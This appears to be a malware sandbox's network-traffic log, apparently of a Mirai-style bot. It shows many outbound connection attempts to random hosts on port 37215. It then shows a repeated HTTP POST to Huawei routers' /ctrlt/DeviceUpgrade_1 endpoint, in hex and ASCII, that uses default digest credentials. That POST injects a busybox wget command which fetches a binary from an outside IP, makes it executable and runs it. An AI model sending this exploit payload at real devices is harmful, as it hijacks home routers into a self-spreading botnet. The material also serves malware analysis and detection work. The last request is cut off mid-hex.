Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.47.155.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 9.155.186.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 115.249.148.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.45.85.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 194.90.167.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.7.22.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 125.60.241.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 111.241.108.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.23.249.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.138.242.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.64.208.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.7.33.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.231.212.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.53.25.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.21.209.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 110.221.206.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.165.93.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.57.86.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.48.249.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 9.137.213.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.119.7.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 145.104.55.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.111.27.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.48.68.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.213.38.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.217.47.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 57.119.80.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.137.249.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.229.18.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 222.103.8.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.42.254.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.58.230.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.143.71.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.84.237.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 102.140.166.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 111.17.222.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.205.111.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 202.27.25.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.116.93.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.238.81.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.244.127.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.0.210.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.251.210.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.229.192.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.28.74.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.87.202.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 81.252.143.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.173.107.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.101.196.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 114.72.229.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.162.241.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.160.155.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.226.234.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 187.170.59.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.250.68.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 77.181.12.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.54.231.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.69.219.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.159.46.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 190.77.98.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.88.93.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 196.129.203.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 112.157.43.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 105.131.56.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 189.68.247.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.135.140.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.137.145.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 99.250.95.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.172.27.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 24.143.140.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 120.36.5.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.155.13.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.39.53.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.254.66.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 112.214.81.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.207.216.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 142.51.144.95:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 